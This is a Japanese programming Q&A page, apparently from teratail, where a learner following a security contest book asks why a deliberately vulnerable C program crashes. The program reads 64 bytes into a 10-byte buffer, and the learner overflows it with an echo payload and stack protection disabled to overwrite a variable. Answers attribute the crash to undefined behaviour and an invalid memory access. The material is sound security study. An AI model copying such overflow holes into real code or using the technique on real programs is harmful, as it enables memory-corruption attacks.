質問をすることでしか得られない、回答やアドバイスがある。

15分調べてもわからないことは、質問しよう!

新規登録して質問してみよう
ただいま回答率
85.48%
C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

セキュリティー

このタグは、コンピューターシステムの安全性やデータの機密性に関連したトピックの為に使われます。

Q&A

解決済

2回答

2812閲覧

segmentation faultについて

konataro

総合スコア37

C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

セキュリティー

このタグは、コンピューターシステムの安全性やデータの機密性に関連したトピックの為に使われます。

0グッド

0クリップ

投稿2019/05/04 12:21

編集2019/05/04 13:14

(またセキュリティコンテストチャレンジブックという本の内容からです。)
下記に書いたコードで標準入出力からバッファオーバーフローを引き起こし、指定の変数を書き換えif文内のコードを実行させたいのですが、Segmentation Faultがでてしまいif文内のコードが実行されず終了してします。(OSはlinux系を利用しています)

C

1//bof2.c 2#include<stdio.h> 3 4int main(int argc, char *argv[]) 5{ 6 char buffer[10]; 7 int zero = 0; 8 9 fgets(buffer, 64, stdin); 10 printf("zero = %x\n", zero); 11 if(zero == 0x12345678){ 12 printf("congrats!\n"); 13 } 14 //printf("check!"); 15 16 return 0; 17} 18
gcc -m32 -fno-stack-protector -o bof2 bof2.c echo -e 'AAAAAAAAAA\x78\x56\x34\x12' | ./bof2 出力結果 zero = 12345678 Segmentation fault

ここで上記コードのコメントアウトしている箇所を追加すると、
下記のような出力結果となりif文内が実行され、追加した部分のprintf("check!");が実行される手前でSegmentation Faultによって終了されます。

出力結果 zero = 12345678 congrats! Segmentation fault

このような動作になっている理由がわからない状況です。どなたかお願いします。

気になる質問をクリップする

クリップした質問は、後からいつでもMYページで確認できます。

またクリップした質問に回答があった際、通知やメールを受け取ることができます。

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

guest

回答2

0

未定義の状態を経由するプログラムならば、状況依存としか回答できません。もしくは機械語とアセンブリを確認していかないとわかりません。

投稿2019/05/04 14:01

HogeAnimalLover

総合スコア4830

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

0

ベストアンサー

C

char buffer[10];
...
fgets(buffer, 64, stdin);

9文字分の領域しか無いのに63文字分読み込もうとして、バッファオーバーランを起こしています。

ここで上記コードのコメントアウトしている箇所を追加すると、...中略... 終了されます。このような動作になっている理由がわからない状況です。

未定義の動作を踏んでいるので、何が起こっても不思議ではありません。

セキュリティコンテストチャレンジブックという本の内容からです。

セキュリティ上問題の有るコードとして紹介されているのでは?

投稿2019/05/04 12:39

LouiS0616

総合スコア35660

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

konataro

2019/05/04 13:43 編集

読んでいた(この本の)pwnの章では、ユーザー入力を扱う関数scanfやfgetsがバッファオーバーフローの脆弱性に繋がることを利用して、EIPレジスタの内容書き換えるエクスプロイトを行うことを方針に説明しているようです。 未定義の動作ですが、64バイト分の入力をできるようにして10バイトの配列を埋めて、そこからメモリのスタック上に連続して配置されているzero変数の内容を書き換える動作というのは結果からわかりました。 この場合のセグメンテーション違反は許可されてないメモリアドレスに対して不正にアクセス?(または、書き換えを)をおこなったからなのでしょうか。 (最後に、追記もしますがここで利用しているOSはlinuxです。) すいません、追記です。 メモリ配置の時、アドレスのランダム化はさせないようにしています。
LouiS0616

2019/05/04 14:37

言語仕様上は、未定義の動作を踏んだ際の挙動は一切説明できません。 マシンに依っては毎度同じ状態が再現されるかもしれませんが、これはコンパイラの実装に依るものです。 そして実際に吐かれたアセンブリを解析する、あるいは状況からメモリの状態を類推するスキルは私には無いです。悪しからず。 > この場合のセグメンテーション違反は許可されてないメモリアドレスに対して不正にアクセス?(または、書き換えを)をおこなったからなのでしょうか。 はい。
guest

あなたの回答

tips

太字

斜体

打ち消し線

見出し

引用テキストの挿入

コードの挿入

リンクの挿入

リストの挿入

番号リストの挿入

表の挿入

水平線の挿入

プレビュー

15分調べてもわからないことは
teratailで質問しよう!

ただいまの回答率
85.48%

質問をまとめることで
思考を整理して素早く解決

テンプレート機能で
簡単に質問をまとめる

質問する

関連した質問